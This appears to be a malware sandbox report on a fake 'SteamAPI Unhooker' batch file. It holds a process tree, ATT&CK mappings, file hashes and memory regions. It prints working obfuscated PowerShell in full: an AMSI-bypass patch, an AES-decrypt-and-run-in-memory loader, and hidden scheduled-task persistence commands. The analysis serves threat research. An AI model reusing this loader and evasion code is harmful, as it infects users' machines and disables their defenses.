9)+''+','+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$aKAsteImeH,$oQWvtwOPduIOuT).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $NyuJkJekwgb.CreateType();}$LfhTNAavYhWOb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+'d'+'l'+''+'l'+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'so'+'f'+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'nsa'+'f'+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$tkVTlkSrYoAqOX=$LfhTNAavYhWOb.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+'d'+'d'+''+[Char](114)+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'ic'+[Char](44)+''+'S'+''+'t'+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SaSEcIxCuVAlKzbddjk=GltjFXMlvWca @([String])([IntPtr]);$HmdVDdXquEAWmDMjvpbgoO=GltjFXMlvWca @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QHlCTCWFNUf=$LfhTNAavYhWOb.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'Ha'+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$XKyNmjxQMiAFWU=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$QHlCTCWFNUf,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+'b'+'r'+[Char](97)+'r'+'y'+''+'A'+'')));$bWzSjKjhbzFNVvjjH=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$QHlCTCWFNUf,[Object](''+'V'+'i'+[Char](114)+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$fMTzYjj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XKyNmjxQMiAFWU,$SaSEcIxCuVAlKzbddjk).Invoke('a'+'m'+''+'s'+'i'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$FHYpRawSnVPHrnDIR=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$fMTzYjj,[Object](''+'A'+''+'m'+'s'+[Char](105)+'S'+'c'+'a'+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'er')));$sKIdMnejxT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bWzSjKjhbzFNVvjjH,$HmdVDdXquEAWmDMjvpbgoO).Invoke($FHYpRawSnVPHrnDIR,[uint32]8,4,[ref]$sKIdMnejxT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FHYpRawSnVPHrnDIR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bWzSjKjhbzFNVvjjH,$HmdVDdXquEAWmDMjvpbgoO).Invoke($FHYpRawSnVPHrnDIR,[uint32]8,0x20,[ref]$sKIdMnejxT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+'A'+'R'+'E').GetValue(''+'$'+'77'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4072

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1132

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:1140

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1208

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1292
- c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2952

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1324

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1388

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1496

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1548

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1556

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1604

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1836

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1900

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1992

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1308

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:2080

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2256

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2272

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2288

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2388

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2432

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2444

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2476

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2548

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2944

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2980

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3188

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_817_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_817.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4884
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_817.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4564
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_817.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3780
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4716
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_817.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_817.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4616
        
        C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        7⤵
        Executes dropped EXE
        
        PID:4444
        
        C:\Users\Admin\AppData\Local\Temp\New.exe
        
        "C:\Users\Admin\AppData\Local\Temp\New.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4264
        
        C:\Windows\SysWOW64\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:4528
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SybViDMmHlQl.bat" "
        7⤵
        
        PID:3636
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2812
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        8⤵
        
        PID:4244
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        8⤵
        Runs ping.exe
        
        PID:3440

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3796

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4012

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4740

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:3792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4116

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4636

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4552

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:1760

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:1316

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:3212

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1452

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
PID:776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
ac3d19fbb5c5f10833f1882308f77548

SHA1
ac880466fd99a5719fedc7289b00d78ba7088e06

SHA256
3353b90af649198e084632af776f8c6ea3a9302da5a50d85f7ecde1c7ad295df

SHA512
b5e6369d7f475e9931d19fb2a5305b4c901ca5fcac5d788d064b6a1b1d6de2034e84932ac243d5056c745b924a2e9537a06b4172fab364402263788c814bc28b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
465ec9d670c5e7cc2338a821a9cbaefe

SHA1
9ce43163c45051a781fed07a659f849ab21b7835

SHA256
6b7d75bf8fc573cc3e2ebb16b6dc634821e93c172157a890daa71c24838632b2

SHA512
1062dedbf1fc15bf717149ad56b7d7d8ab7391f4da350314a1c7221cee391f8358b3a5a3fb109349ee9cde69fd4d0a0a6a3ad25df1b8ba380c9b9dd16ceb7e2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
163KB

MD5
b51552b77057c2405f73bbbf9c89234a

SHA1
4793adbba023f90d2d2ad0ec55199c56de815224

SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\New.exe

Filesize
409KB

MD5
cf570b21f42f0ce411b7c9961068931e

SHA1
f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

SHA256
d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

SHA512
de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

Download Submit
C:\Users\Admin\AppData\Local\Temp\SybViDMmHlQl.bat

Filesize
276B

MD5
c015fdc361eeeb71cb0244e420b2ef89

SHA1
22d97ffc632bcd2b4481383d040eaba38d111f13

SHA256
bd7e8174609f6ca1a59d3ffe0194af72103762fa58fdc87f16dd6c1a9844c7f8

SHA512
a26bea5ae843d9e302f972aa34a2f6e05e03f1e479c999475ce7784942a735b1fc74dc3eb2c5a1123439168a176d7dfad05c57f5c09147f9ae30bc4ebcd48fea

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mtgd3xbi.pt3.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-Logs\05-28-~1

Filesize
224B

MD5
668c9d9256a82a28f5769c6010a48665

SHA1
514feb1105a5c6e4e0c877bab7ae7283877ca9e6

SHA256
f797408c1bbf907851fa5501093fbee68506eace9ef2439e9dba5ac61a262daa

SHA512
b22c4662ee5e89a7509af58b4ebcab4d4df8bae8fbc37dd17da42ed970adbcdc2abb5b24dabfa888680a164d69a3dda1c3bf2bfa42dc39f973e8828a27f6a5af

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_817.bat

Filesize
1002KB

MD5
f6d5bfaee8a55ff72c7b453fda066d62

SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f

SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_817.vbs

Filesize
115B

MD5
af3b7323ae40be47582f3d8ccab8120c

SHA1
c1ee2a6f5e92f32df41da9e44fe48ecab9f967fd

SHA256
e2b510081177244136bbdd64ca178db9be492354945121cd2d09dc8729423340

SHA512
4dbc9ba62e28e8615b3302d37a954eeb493b444fa582b4c8dc22426b680c2d2debe8c785e6df630694c549d81d28aa3b08eb8e6cb68df8d17d379879d634aa54

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

Filesize
412B

MD5
48834f416d76621ea289ca1263d613ec

SHA1
8badffc9d8ee257ec4b8f8d506f690fb86ce781e

SHA256
9dfdc67a40014892d0af20b130ade05058418d3d4295f628d39cb898b8dedf58

SHA512
63b7bf38b7572f975bbb18c8ccb32aea344fd404d9037884ab60359dc87662bf175958b5851c2d50f32d3e2d436a887d71ccc8516b9c4f337577ef4dc88a26e4

Download Submit
memory/580-278-0x0000028AD36A0000-0x0000028AD36C5000-memory.dmp

Filesize
148KB

Download
memory/580-279-0x0000028AD36D0000-0x0000028AD36FA000-memory.dmp

Filesize
168KB

Download
memory/580-280-0x0000028AD36D0000-0x0000028AD36FA000-memory.dmp

Filesize
168KB

Download
memory/580-286-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

Filesize
64KB

Download
memory/580-285-0x0000028AD36D0000-0x0000028AD36FA000-memory.dmp

Filesize
168KB

Download
memory/636-290-0x000002287EDD0000-0x000002287EDFA000-memory.dmp

Filesize
168KB

Download
memory/636-295-0x000002287EDD0000-0x000002287EDFA000-memory.dmp

Filesize
168KB

Download
memory/636-296-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

Filesize
64KB

Download
memory/744-306-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

Filesize
64KB

Download
memory/744-300-0x000001C711750000-0x000001C71177A000-memory.dmp

Filesize
168KB

Download
memory/744-305-0x000001C711750000-0x000001C71177A000-memory.dmp

Filesize
168KB

Download
memory/908-310-0x000001AFE3C10000-0x000001AFE3C3A000-memory.dmp

Filesize
168KB

Download
memory/908-316-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

Filesize
64KB

Download
memory/908-315-0x000001AFE3C10000-0x000001AFE3C3A000-memory.dmp

Filesize
168KB

Download
memory/1008-320-0x00000272CA420000-0x00000272CA44A000-memory.dmp

Filesize
168KB

Download
memory/1008-325-0x00000272CA420000-0x00000272CA44A000-memory.dmp

Filesize
168KB

Download
memory/1008-326-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

Filesize
64KB

Download
memory/1056-264-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1056-275-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1056-273-0x00007FF99AF30000-0x00007FF99B10B000-memory.dmp

Filesize
1.9MB

Download
memory/1056-274-0x00007FF998490000-0x00007FF99853E000-memory.dmp

Filesize
696KB

Download
memory/1056-272-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1056-265-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1056-266-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1056-267-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4072-233-0x000001DB41D80000-0x000001DB41DF6000-memory.dmp

Filesize
472KB

Download
memory/4072-261-0x000001DB41E00000-0x000001DB41E2A000-memory.dmp

Filesize
168KB

Download
memory/4072-262-0x00007FF99AF30000-0x00007FF99B10B000-memory.dmp

Filesize
1.9MB

Download
memory/4072-230-0x000001DB29730000-0x000001DB29752000-memory.dmp

Filesize
136KB

Download
memory/4072-263-0x00007FF998490000-0x00007FF99853E000-memory.dmp

Filesize
696KB

Download
memory/4264-222-0x0000000000520000-0x000000000058C000-memory.dmp

Filesize
432KB

Download
memory/4616-204-0x000000000AC60000-0x000000000ACCC000-memory.dmp

Filesize
432KB

Download
memory/4616-205-0x000000000AD80000-0x000000000AE12000-memory.dmp

Filesize
584KB

Download
memory/4616-225-0x00000000072D0000-0x00000000072E2000-memory.dmp

Filesize
72KB

Download
memory/4616-234-0x0000000009820000-0x000000000985E000-memory.dmp

Filesize
248KB

Download
memory/4616-242-0x00000000098D0000-0x00000000098DA000-memory.dmp

Filesize
40KB

Download
memory/4628-8-0x0000000008100000-0x0000000008166000-memory.dmp

Filesize
408KB

Download
memory/4628-5-0x0000000007AD0000-0x00000000080F8000-memory.dmp

Filesize
6.2MB

Download
memory/4628-224-0x0000000073B00000-0x00000000741EE000-memory.dmp

Filesize
6.9MB

Download
memory/4628-6-0x0000000073B00000-0x00000000741EE000-memory.dmp

Filesize
6.9MB

Download
memory/4628-35-0x000000000D930000-0x000000000DE2E000-memory.dmp

Filesize
5.0MB

Download
memory/4628-9-0x0000000008350000-0x00000000083B6000-memory.dmp

Filesize
408KB

Download
memory/4628-10-0x00000000083C0000-0x0000000008710000-memory.dmp

Filesize
3.3MB

Download
memory/4628-13-0x00000000082C0000-0x00000000082DC000-memory.dmp

Filesize
112KB

Download
memory/4628-3-0x00000000052C0000-0x00000000052F6000-memory.dmp

Filesize
216KB

Download
memory/4628-15-0x0000000008A30000-0x0000000008AA6000-memory.dmp

Filesize
472KB

Download
memory/4628-7-0x00000000079F0000-0x0000000007A12000-memory.dmp

Filesize
136KB

Download
memory/4628-4-0x0000000073B00000-0x00000000741EE000-memory.dmp

Filesize
6.9MB

Download
memory/4628-2-0x0000000073B0E000-0x0000000073B0F000-memory.dmp

Filesize
4KB

Download
memory/4628-14-0x0000000008B80000-0x0000000008BCB000-memory.dmp

Filesize
300KB

Download
memory/4628-26-0x0000000073B00000-0x00000000741EE000-memory.dmp

Filesize
6.9MB

Download
memory/4628-31-0x000000000B2B0000-0x000000000B928000-memory.dmp

Filesize
6.5MB

Download
memory/4628-32-0x0000000009A40000-0x0000000009A5A000-memory.dmp

Filesize
104KB

Download
memory/4628-33-0x00000000099F0000-0x00000000099F8000-memory.dmp

Filesize
32KB

Download
memory/4628-34-0x0000000009B20000-0x0000000009C12000-memory.dmp

Filesize
968KB

Download
memory/4884-74-0x0000000009710000-0x00000000097A4000-memory.dmp

Filesize
592KB

Download
memory/4884-45-0x0000000073B00000-0x00000000741EE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-46-0x0000000073B00000-0x00000000741EE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-47-0x0000000073B00000-0x00000000741EE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-64-0x00000000093A0000-0x00000000093D3000-memory.dmp

Filesize
204KB

Download
memory/4884-66-0x00000000706E0000-0x000000007072B000-memory.dmp

Filesize
